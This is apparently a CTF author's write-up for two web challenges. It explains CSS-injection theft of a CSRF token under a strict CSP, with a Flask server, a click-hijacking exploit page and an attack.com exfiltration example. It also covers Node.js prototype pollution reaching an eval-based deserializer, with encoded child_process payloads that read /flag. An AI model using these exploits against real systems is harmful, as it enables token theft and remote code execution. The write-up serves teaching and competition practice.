今年校赛我只出了两道Web, 就想着出少一点认真一点。因为没搞动态靶机为了HappyGame能够大家一起做且不被搅屎也是煞费苦心。

BookShop

这道题是很用心出的一道题,最后0解就很悲伤了。

这道题逻辑并不复杂, 有一个report点,那必然是前端漏洞,后来也提示了是css注入。而本题的目的很明显就是需要admin帮用户借一本书,而借书接口存在csrftoken,那么就需要css注入窃取token然后成功帮忙借书。题目难点在于对css注入的一些限制。

注:对于css注入不熟的同学先看完这篇文章后再看下列的内容。

信息收集

进入题目是一个图书借阅系统。

image-20200527002251582

可以借书还书, 而有一本书称为flag之书只允许admin借阅。而且每本书成功借阅之后就可以看到它隐藏的内容。那么这道题的目的就是借这本书了。

image-20200527002448065

题目还有一个post页面和一个report页面, report页面可以向admin发送一个url让admin点击。

image-20200527002609327 image-20200527002639661

看到report功能, 可以确定存在前端漏洞,比如XSS、CSRF啥的。结合post功能中发送的post内容会自动拼接到页面中,可以确定必是前端漏洞。

image-20200527002925772

然后在post页面还可以给自己点赞。

image-20200527005923521

漏洞利用限制

虽然post中直接拼接输入,但是存在CSP的限制

image-20200527003204789

Content-Security-Policy: default-src 'none'; connect-src 'self';img-src 'self'; style-src 'self' 'unsafe-inline';

可以看到因为script-src是none,js脚本无论何种情况是不可能执行的,那么也就不可能xss。当然我们发现CSS允许内联但不允许外部引入,尝试一下:

image-20200527003536018

可以看到css内敛代码成功执行, 此时我们拥有了一个CSS注入点,CSS注入可以窃取页面中的数据。同时全站页面的响应头都包含了X-Frame-Options: Deny ,限制站点被iframe包含。

越权

回到借书功能, 借书操作有以下参数, uid、book_id、csrf_token,uid是自己的用户id,book_id是书籍id,最后还有一个csrf_token。

image-20200527004135509

既然我们拥有css注入漏洞, 那么窃取csrf_token是没问题的。

在这个接口中,uid这个参数位是很奇怪的,标识用户只需要session就可以了,本来是无需之歌uid的。简单尝试发现改变uid发现可以越权帮助别人借书, 那么我们可以利用css注入窃取csrf_token然后让admin帮我们借书。

no frame CSS injection

查看页面源代码csrf-token是放在标签的属性中的, 这极大地方便了我们窃取。

image-20200527005310455

由于全站限制了被frame包含, 而css注入不允许import引入外部css, 所以传统的利用iframe窃取标签数据不能利用,在我那篇文章其实已经指出了不使用iframe的css注入的可能的方法。

image-20200527005121915

https://github.com/dxa4481/cssInjection 这里给出了一种方法, 由于一位一位的猜测标签数据内容,存在iframe包含时,我们可以控制js每猜测一位csrf-token值时,加载一个iframe。而没有iframe的话我们可以利用不断开启窗口打开漏洞页面。

就像上面文章说的, 这种方法要求劫持用户点击行为。而我在题目里面和hint里给了很多暗示,让用户把赞美的url发给admin

image-20200527005735655

发送了之后不久,你就会发现admin给你点了个赞。

image-20200527010019840

很明显admin访问链接之后有点击行为,我们可以劫持这个点击就可以实现不断地开启窗口了。

bypass connect-src 'self'

最后一个巧妙地绕过就是绕过connect-src 'self',仔细观察上面的那个CSP,Content-Security-Policy: default-src 'none'; connect-src 'self';img-src 'self'; style-src 'self' 'unsafe-inline'; 它还限制了connect-src,只能向同源站内发送数据,意味着无法向外带出数据了。

熟悉有frame的css注入的同学知道, 为了一位一位的猜解页面内容, 如下我们需要页面不断和我们搭建的服务通信。

<style>
input[value^="0"] {
    background: url(http://attack.com/0);
}
input[value^="1"] {
    background: url(http://attack.com/1);
}
input[value^="2"] {
    background: url(http://attack.com/2);
}
...
input[value^="Y"] {
    background: url(http://attack.com/Y);
}
input[value^="Z"] {
    background: url(http://attack.com/Z);
}
</style>

这时限制了connect-src为self我们就不能向使用此方法了。

但是允许站内发数据, 这里就有一个比较巧妙的点,我们知道admin可以向任何人点赞, 而且点赞api很容易获取到 /like/1585 其中的1585就是被点赞的人的uid。

而且csrf-token只有16位, 我们创建16个用户代表a-f0-9,当猜测出csrf-token某位为a时, 向我们创建的第一个用户点赞, 通过不断访问用户post页面就可以知道是谁被点赞了, 这样就可以带出数据了。

<style>
input[value^="a"] {
    background: url(http://jrxnm.cpm/like/1000);
}
input[value^="b"] {
    background: url(http://jrxnm.cpm/like/1001);
}
input[value^="c"] {
    background: url(http://jrxnm.cpm/like/1002);
}
...
input[value^="8"] {
    background: url(http://jrxnm.cpm/like/1014);
}
input[value^="9"] {
    background: url(http://jrxnm.cpm/like/1015);
}
</style>

代码实现

代码和有frame的代码类似,代码我就不分析了和我那篇文章中使用frame的原理是类似的,只是加入了本文的这些限制,看懂了那个这个也没问题了。

首先是服务端, 注意修改user_id为自己的id

from flask import Flask
from threading import Thread
import random, string
import requests
import re
import time
app = Flask(__name__)


token = ""
users = []
challenge_url = "http://218.197.154.9:10000/"
challenge_url_for_bot = "http://jrxnm.com/"
payload_url = "http://blog.szfszf.top:9015/"
user_id = 1233
chars = "abcdef0123456789"


@app.route('/return')
def return_token():
    return token


@app.route('/noframe.html')
def client():
    ids = [str(u.id) for u in users]
    return open('noframe.html').read()%(str(ids), challenge_url_for_bot, payload_url, str(user_id))


def get_random(num=32):
    ran_str = ''.join(random.sample(string.ascii_letters + string.digits, num))
    return ran_str

class User:
    def __init__(self):
        self.s, self.id = self.create_user()

    def create_user(self):
        username = get_random()
        password = get_random()
        data = {"username": username, "password": password}
        s = requests.Session()
        res1 = s.post(challenge_url+'login', data=data)
        res2 = s.get(challenge_url+'post')
        pa = re.compile(r'/post/(\d+)/')
        user_id = int(pa.findall(res2.text)[0])
        print(user_id)
        return s,user_id

    def post(self):
        data = {"post": get_random()}
        self.s.post(challenge_url+'post', data=data)


    def check_admin_like(self):
        global token
        res = self.s.get(challenge_url+'post')
        if 'admin' in res.text:
            ids = [str(u.id) for u in users]
            c = chars[ids.index(str(self.id))]
            token += c
            print(token)
            self.post()
            return True
        return False

def get_token():
    get_users()
    while True:
        for u in users:
            t = Thread(target=u.check_admin_like)
            t.start()
        time.sleep(0.2)

def get_users():
    for i in range(16):
        users.append(User())

    ids = [str(u.id) for u in users]
    print(ids)


if __name__ == '__main__':
    t = Thread(target=get_token)
    t.start()
    app.run(host='0.0.0.0', port=9015)

页面内容

<html>
    <body onclick="potatoes();">click somewhere to begin attack</body>
    <script>
        var chars = %s;
        var chars1 = "abcdef0123456789".split("")
        var challenge_url = '%s'
        var vuln_url = challenge_url + 'post/1/?post=';
        var server_receive_token_url = challenge_url + 'like/';
        var server_return_token_url = '%sreturn';
        var known = "";
        var length = 32;
        var m = 0;

        function borrow_flag(csrf_token){
            let postData = "uid=%s&book_id=7&csrf_token="+csrf_token;
            fetch( challenge_url + 'borrow', {
              method: 'POST',
              mode: 'cors',
              credentials: 'include',
              headers: {
                'Content-Type': 'application/x-www-form-urlencoded'
              },
              body: postData
            }).then(function(response) {
              console.log(response);
            });
        }

        function build_css() {
            css_payload = "<style>";
            for(i=0; i< chars.length; i++) {
                css_payload += "meta[name=csrf-token][content^=\""
                    + known + chars1[i]
                    + "\"]~*{background-image:url(" 
                    + server_receive_token_url
                    + chars[i]
                    + ")%%3B}"; //can't use an actual semicolon because that has a meaning in a url
            }
            css_payload += "</style>"
            return css_payload;
        }
        var potatoes = function(){
            var css = build_css();
            var win2 = window.open(vuln_url + css, 'f')
            win2.blur();

            setTimeout(function() {
                var oReq = new XMLHttpRequest();
                oReq.addEventListener("load", known_listener);
                oReq.open("GET", server_return_token_url);
                oReq.send();
            }, 1000);
        }

        function known_listener () {
            document.getElementById("CSRFToken").innerHTML = "Current Token: " + this.responseText;
            console.log(m);
            if(known != this.responseText) {
                m=0;
                known = this.responseText;
                potatoes();
            } else {
                known = this.responseText;
                m+=1;

                if (m==2){
                    borrow_flag(known);
                }else{
                    potatoes();
                }
            }
        }

    </script>
    </br>
    The CSRF token is:
    <div id="CSRFToken"></div>
    <a><button class="btn btn-danger" ng-show="flag">点赞</button></a>
</div>

</html>

以上第一个文件保存为index.py, 第二个为noframe.html 放在服务器上同一个文件夹。 运行

python index.py

向admin report url为 http://your_server:9015/noframe.html

image-20200527012407614

然后可以看到admin会访问这个页面然后在一位一位的猜csrf-token

image-20200527012447817

猜完了之后会自动csrf帮你借书,然后你就可以在主页看到这本书了,书本点进去就是flag

image-20200527012808550

HappyGame

信息收集

打开题目是一个小游戏。简单玩了一下发现只有在游戏结束后会向服务器发送数据,在前端源代码找到接口。

image-20200527232459586

这道题在放出不久就给出了hint让找源码,其实分析了前端的同学找到很容易找到源码位置的。

image-20200527232617860

拿到源码就是一个js文件, 确定是nodejs写得后台, 简单改一下就可以本地跑了,这样有助于本地测试。

const express = require('express');
const path = require('path');
const opn = require('opn');
const crypto = require('crypto');
const session = require("express-session");
const bodyParser = require('body-parser');
const stringRandom = require('string-random');
const app = express();
const FUNCFLAG = '_$$ND_FUNC$$_';
const serialize_banner = '{"banner":"Congratulations! 你是目前最高分!"}';
app.use(bodyParser());
app.use(bodyParser.json());

const logs={};
var highestScore = 400;


const serialize = function(obj) {
  var outputObj = {};
  var key;
  if (typeof obj === 'string') {
    return JSON.stringify(obj);
  }
  for(key in obj) {
    if(obj.hasOwnProperty(key)) {
      if(typeof obj[key] === 'function') {
        var funcStr = obj[key].toString();
        outputObj[key] = FUNCFLAG + funcStr;
      } else {
        outputObj[key] = obj[key];
      }
    }
  }
  return JSON.stringify(outputObj);
};

const validCode = function (func_code){
  let validInput = /process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
  return !validInput.test(func_code);
};

const validInput = function (input){
  // filter bad input
  let validInput = /process|child_process|main|require|exec|this|function/ig;
  ins = serialize(input);
  return !validInput.test(ins);
};


// not safe
const unserialize = function(obj) {
  obj = JSON.parse(obj);
  if (typeof obj === 'string') {
    return obj;
  }
  var key;
  for(key in obj) {
    if(typeof obj[key] === 'string') {
      if(obj[key].indexOf(FUNCFLAG) === 0) {
        var func_code=obj[key].substring(FUNCFLAG.length);
        if (validCode(func_code)){
          var d = '(' + func_code + ')';
          obj[key] = eval(d);
        }
      }
    }
  }
  return obj;
};

const merge = function(target, source) {
  try{
    for (let key in source) {
      if (typeof source[key] == 'object' ) {
        merge(target[key], source[key]);
      } else {
        target[key] = source[key];
      }
    }
  }
  catch (e) {
    console.log(e);
  }
};

const genSanbox = function (req){
  var content = stringRandom(32);
  var result = crypto.createHash('md5').update(content).digest("hex");
  req.session.sanbox = result;
  logs[result] = new Record();
  return result;
};

const getSanbox = function (req){
  return req.session.sanbox;
};

app.use(session({
  secret: 'hahahahahaha@@@@@@',
  name : 'sessionId',
  resave: false,
  saveUninitialized: false
}));

app.use(function(req, res, next){
  if(!getSanbox(req)){
    genSanbox(req);
  }
  if(validInput(req.body)) {
    next();
  } else{
    res.status(403).send('Hacker!!!');
  }
});

const clearEnvir = function (){
  for(key in Object()){delete {}.__proto__[key]};
};


function Record(){
  this.lastScore=0;
  this.maxScore=0;
  this.lastTime=null;
}

async function record (req, res, next){
  new Promise(function (resolve, reject) {
    var sanbox = getSanbox(req);
    var record = new Record();
    var score = req.body.score;
    var oldRecord = logs[sanbox];

    console.log(score);
    clearEnvir();
    if (score.length<5){
      merge(record, {
        lastScore: score,
        maxScore: parseInt(logs[sanbox].maxScore)>parseInt(score)?logs[sanbox].maxScore:score,
        lastTime: new Date().toString()
      });
      logs[sanbox] = record;
      oldRecord.maxScore = record.maxScore;
      highestScore = highestScore > parseInt(score)? highestScore: parseInt(score);
      if((score - highestScore)<0){
        var banner = "再接再厉,马上就要赶上最高分了!";
      }else{
        // var serialize_banner = req.params.data;
        var banner = unserialize(serialize_banner).banner;
      }
    }else{
      banner="我都打不了这么高, 你小子肯定作弊了";
    }

    clearEnvir();
    res.json({
      banner: banner,
      record: oldRecord
    });
  }).catch(function(err){
    next(err)
  })
}

app.post('/record', record);
app.get('/token', function(req, res){
  token = getSanbox(req);
  res.end(token);
});

app.use(function(req, res){
  res.status(404).send('Not Found')
});

app.use(function (err, req, res, next) {
  console.log(err.stack);
  clearEnvir();
  res.status(500).send('Some thing broke!')
});

const server = app.listen(8082, function() {
  var host = server.address().address;
  var port = server.address().port;
  console.log("Example app listening at http://%s:%s", host, port)
});

题目只有两个接口/token/record record接口会记录每个用户上次玩游戏的分数和他的最高分,将这些内容存在全局变量 logs[sanbox]中,其中的sandox是每个人唯一标识符, 访问token接口即可返回sanbox值。

image-20200527233328888

代码审计

我们来查看关键代码如下。

    var sanbox = getSanbox(req);
    var record = new Record();
    var score = req.body.score;
    var oldRecord = logs[sanbox];

    console.log(score);
    clearEnvir();
    if (score.length<5){
      merge(record, {
        lastScore: score,
        maxScore: parseInt(logs[sanbox].maxScore)>parseInt(score)?logs[sanbox].maxScore:score,
        lastTime: new Date().toString()
      });
      logs[sanbox] = record;
      oldRecord.maxScore = record.maxScore;
      highestScore = highestScore > parseInt(score)? highestScore: parseInt(score);
      if((score - highestScore)<0){
        var banner = "再接再厉,马上就要赶上最高分了!";
      }else{
        // var serialize_banner = req.params.data;
        var banner = unserialize(serialize_banner).banner;
      }
    }else{
      banner="我都打不了这么高, 你小子肯定作弊了";
    }
clearEnvir();

merge那里明显存在原型链污染漏洞, score即是http的body的内容, 我们知道express在配置了app.use(bodyParser.json());之后就可以通过修改content-Type为application/json实现传递json数据。那么原型链污染就能够实现了。

那么原型链污染什么变量才能getshell呢。看下面serialize和unserialize函数代码,在反序列化时存在eval操作是很危险的。

const serialize = function(obj) {
  var outputObj = {};
  var key;
  if (typeof obj === 'string') {
    return JSON.stringify(obj);
  }
  for(key in obj) {
    if(obj.hasOwnProperty(key)) {
      if(typeof obj[key] === 'function') {
        var funcStr = obj[key].toString();
        outputObj[key] = FUNCFLAG + funcStr;
      } else {
        outputObj[key] = obj[key];
      }
    }
  }
  return JSON.stringify(outputObj);
};

// not safe
const unserialize = function(obj) {
  obj = JSON.parse(obj);
  if (typeof obj === 'string') {
    return obj;
  }
  var key;
  for(key in obj) {
    if(typeof obj[key] === 'string') {
      if(obj[key].indexOf(FUNCFLAG) === 0) {
        var func_code=obj[key].substring(FUNCFLAG.length);
        if (validCode(func_code)){
          var d = '(' + func_code + ')';
          obj[key] = eval(d);
        }
      }
    }
  }
  return obj;
};

如果反序列化的内容可控,我们就可以构造恶意内容让eval执行我们的数据。但是我们在唯一的调用unserialize函数地方的serialize_banner是不可控的。

        var banner = unserialize(serialize_banner).banner;

但是仔细观察unserialize函数,在JSON.parse了后,直接for key in obj 这样得到的key不仅仅包括obj对象的key还包括其原型链上继承下来的key(和serialize函数对比, serialize函数还使用了obj.hasOwnProperty(key)来判断)。那么我们就可以利用原型链污染,污染Object的某个key,此时只要运行了unserialize,那么某个key的值就是可控的了。

就比如下面这样就可以向里面的变量污染jrxnm属性, 不考虑题目中的过滤eval就会执行下面的XXXX内容。

POST /record HTTP/1.1
Host: 218.197.154.9:10001
Content-Type: application/json
Content-Length: 366
Cookie: sessionId=s%3AxyAIkmPQgd-e7P403oNty5NCDCFEpAwB.iiFSaDe3LLpcqEQtoL9cU32RyDP3D4YwURxLr3mswrQ; Path=/;

{"score": {"__proto__": {"__proto__": {"jrxnm": "_$$ND_FUNC$$_a=XXXX"}}}}

绕过限制

  1. 接下来到了绕过过滤了,在输入内容时和unserialize中分别有validInput 、validCode两个过滤点,都是对关键字进行过滤。
const validCode = function (func_code){
  let validInput = /process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
  return !validInput.test(func_code);
};

const validInput = function (input){
  // filter bad input
  let validInput = /process|child_process|main|require|exec|this|function/ig;
  ins = serialize(input);
  return !validInput.test(ins);
};
  1. 一个小tricks,只有当输入的score的length小于5后面的内容时后面的有漏洞的代码才会运行
image-20200527235450932
  1. 最后就是真正运行的靶机是无法联网的,能够执行代码后还得想办法带出数据。

第一点不难,不使用相关关键字就可以了。

Buffer.constructor(Buffer.from(`72657475726e2070726f636573732e6d61696e4d6f64756c652e636f6e7374727563746f722e5f6c6f616428276368696c645f70726f6365737327292e6578656353796e6328276c73202f27292e746f537472696e672829`, `he\\x78`))()

第二点简单,我们可控的score是输入时json转换成的对象,没有length属性的话我们在输入时可以为其添加length属性。

{"score": {"__proto__": {"__proto__": {"jrxnm": "_$$ND_FUNC$$_a=XXXX"}}, "length": 1}}

第三点从题目的日志中可以看出,做出来的四个师傅都是非预期盲注出来的。其实我在设计题目时设计了是可以回显的。注意到这道题都允许eval了嘛, logs是一个全局变量, 那么我们修改logs这个变量中一个可控sanbox中的数据为命令执行后返回的内容, 便可回显给我们。下面就是执行了cat /flag的回显。

image-20200528001323851

payload:

{"score": {"__proto__": {"__proto__": {"banner1": "_$$ND_FUNC$$_logs.f056fd06ae0c4d18ca90abf361afa666.lastTime=Buffer.constructor(Buffer.from(`72657475726e2070726f636573732e6d61696e4d6f64756c652e636f6e7374727563746f722e5f6c6f616428276368696c645f70726f6365737327292e6578656353796e632827636174202f666c616727292e746f537472696e672829`, `he\\x78`).toString())()"}}, "length": 1}}

可以通过token接口拿到自己的sanbox值替换成上面payload中的内容,注意sanbox值首字符必须为字母,因为javascript不允许数字开头的变量会导致报错,所以多次尝试让它生成一个以字母开头的就行了。

而师傅们的非预期的payload如下

_$$ND_FUNC$$_``.constructor.constructor(`\\x69\\x66\\x28\\x70\\x72\\x6f\\x63\\x65\\x73\\x73\\x2e\\x6d\\x61\\x69\\x6e\\x4d\\x6f\\x64\\x75\\x6c\\x65\\x2e\\x72\\x65\\x71\\x75\\x69\\x72\\x65\\x28\\x22\\x66\\x73\\x22\\x29\\x2e\\x72\\x65\\x61\\x64\\x46\\x69\\x6c\\x65\\x53\\x79\\x6e\\x63\\x28\\x22\\x2f\\x66\\x6c\\x61\\x67\\x22\\x29\\x2e\\x74\\x6f\\x53\\x74\\x72\\x69\\x6e\\x67\\x28\\x29\\x5b\\x34\\x30\\x5d\\x3e\\x22\\x20\\x22\\x29\\x7b\\x7d\\x65\\x6c\\x73\\x65\\x7b\\x74\\x68\\x72\\x6f\\x77\\x20\\x45\\x72\\x72\\x6f\\x72\\x28\\x29\\x7d`)()

其中被执行的代码为,通过报错实现一位一位的猜解

if(process.mainModule.require("fs").readFileSync("/flag").toString()[40]>" "){}else{throw Error()}